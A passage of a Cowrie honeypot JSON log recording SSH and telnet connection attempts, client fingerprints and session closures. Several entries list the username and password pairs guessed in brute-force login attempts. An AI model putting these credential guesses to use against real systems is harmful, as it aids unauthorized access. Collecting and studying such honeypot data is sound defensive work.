4-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:11.503779Z","src_ip":"103.172.78.219","session":"10379418ff94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elfxf777","message":"login attempt [root/elfxf777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:12.276817Z","src_ip":"103.172.78.219","session":"10379418ff94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:13.537113Z","src_ip":"103.172.78.219","session":"10379418ff94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":57470,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb40dfa6c6a5","protocol":"ssh","message":"New connection: 4.213.224.194:57470 (10.17.0.5:22) [session: eb40dfa6c6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:14.239349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:14.243184Z","src_ip":"4.213.224.194","session":"eb40dfa6c6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:14.454921Z","src_ip":"4.213.224.194","session":"eb40dfa6c6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweASD!","message":"login attempt [root/123qweASD!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:15.336690Z","src_ip":"4.213.224.194","session":"eb40dfa6c6a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:16.552269Z","src_ip":"4.213.224.194","session":"eb40dfa6c6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":36965,"dst_ip":"159.203.135.109","dst_port":22,"session":"c50de5f8e923","protocol":"ssh","message":"New connection: 178.20.210.208:36965 (159.203.135.109:22) [session: c50de5f8e923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:25.325212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:25.328845Z","src_ip":"178.20.210.208","session":"c50de5f8e923","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:25.783547Z","src_ip":"178.20.210.208","session":"c50de5f8e923","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"free","password":"1234","message":"login attempt [free/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:26.177877Z","src_ip":"178.20.210.208","session":"c50de5f8e923","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:27.277359Z","src_ip":"178.20.210.208","session":"c50de5f8e923","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35744,"dst_ip":"159.203.135.109","dst_port":23,"session":"42fbaf5f77dc","protocol":"telnet","message":"New connection: 172.81.62.90:35744 (159.203.135.109:23) [session: 42fbaf5f77dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:28.203298Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.88.227.0","src_port":42766,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ff8db30f859","protocol":"telnet","message":"New connection: 35.88.227.0:42766 (10.17.0.5:23) [session: 5ff8db30f859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:29.402818Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49235,"dst_ip":"10.17.0.5","dst_port":22,"session":"47194e98829d","protocol":"ssh","message":"New connection: 103.248.120.6:49235 (10.17.0.5:22) [session: 47194e98829d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:54.585281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:54.589909Z","src_ip":"103.248.120.6","session":"47194e98829d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:54.813216Z","src_ip":"103.248.120.6","session":"47194e98829d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"data1234","message":"login attempt [root/data1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:56.317287Z","src_ip":"103.248.120.6","session":"47194e98829d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:44:57.543409Z","src_ip":"103.248.120.6","session":"47194e98829d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.828309535980225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:01.231010Z","src_ip":"35.88.227.0","session":"5ff8db30f859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":46198,"dst_ip":"159.203.135.109","dst_port":22,"session":"619423a31c09","protocol":"ssh","message":"New connection: 27.71.230.31:46198 (159.203.135.109:22) [session: 619423a31c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:03.303535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:03.895556Z","src_ip":"27.71.230.31","session":"619423a31c09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:03.900460Z","src_ip":"27.71.230.31","session":"619423a31c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:07.773731Z","src_ip":"27.71.230.31","session":"619423a31c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.72316265106201,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:08.926337Z","src_ip":"172.81.62.90","session":"42fbaf5f77dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:09.601040Z","src_ip":"27.71.230.31","session":"619423a31c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":53332,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcab1fba8a6c","protocol":"ssh","message":"New connection: 43.129.44.66:53332 (10.17.0.5:22) [session: bcab1fba8a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:13.410406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:13.414543Z","src_ip":"43.129.44.66","session":"bcab1fba8a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:13.675853Z","src_ip":"43.129.44.66","session":"bcab1fba8a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"123456","message":"login attempt [sales1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:14.720973Z","src_ip":"43.129.44.66","session":"bcab1fba8a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:15.984222Z","src_ip":"43.129.44.66","session":"bcab1fba8a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35122,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c19e1b433e","protocol":"telnet","message":"New connection: 172.81.62.90:35122 (159.203.135.109:23) [session: e9c19e1b433e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:58.579235Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35116,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb9075514972","protocol":"telnet","message":"New connection: 172.81.62.90:35116 (159.203.135.109:23) [session: fb9075514972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:45:58.762801Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":38398,"dst_ip":"10.17.0.5","dst_port":22,"session":"93a57a3bf066","protocol":"ssh","message":"New connection: 80.94.92.184:38398 (10.17.0.5:22) [session: 93a57a3bf066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:02.017131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:02.140710Z","src_ip":"80.94.92.184","session":"93a57a3bf066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:02.307718Z","src_ip":"80.94.92.184","session":"93a57a3bf066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:03.148505Z","src_ip":"80.94.92.184","session":"93a57a3bf066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35124,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae8167f39f0b","protocol":"telnet","message":"New connection: 172.81.62.90:35124 (159.203.135.109:23) [session: ae8167f39f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:03.693307Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:04.361264Z","src_ip":"80.94.92.184","session":"93a57a3bf066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":46394,"dst_ip":"159.203.135.109","dst_port":23,"session":"c91e1c8c2121","protocol":"telnet","message":"New connection: 172.81.62.90:46394 (159.203.135.109:23) [session: c91e1c8c2121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:28.012615Z"}
{"eventid":"cowrie.session.closed","duration":37.72540020942688,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:36.488077Z","src_ip":"172.81.62.90","session":"fb9075514972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88616228103638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:37.579357Z","src_ip":"172.81.62.90","session":"ae8167f39f0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.00441837310791,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:37.583534Z","src_ip":"172.81.62.90","session":"e9c19e1b433e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":55252,"dst_ip":"159.203.135.109","dst_port":22,"session":"b77e89dfa794","protocol":"ssh","message":"New connection: 2.57.122.238:55252 (159.203.135.109:22) [session: b77e89dfa794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:58.793133Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:46:58.891473Z","src_ip":"2.57.122.238","session":"b77e89dfa794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.63195538520813,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:03.644445Z","src_ip":"172.81.62.90","session":"c91e1c8c2121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39096,"dst_ip":"159.203.135.109","dst_port":23,"session":"32b1e500b3a2","protocol":"telnet","message":"New connection: 128.199.8.54:39096 (159.203.135.109:23) [session: 32b1e500b3a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:23.838897Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":56720,"dst_ip":"10.17.0.5","dst_port":22,"session":"62caf9624d18","protocol":"ssh","message":"New connection: 111.238.174.6:56720 (10.17.0.5:22) [session: 62caf9624d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:36.789376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:47:36.793031Z","src_ip":"111.238.174.6","session":"62caf9624d18","protocol":"ssh"}
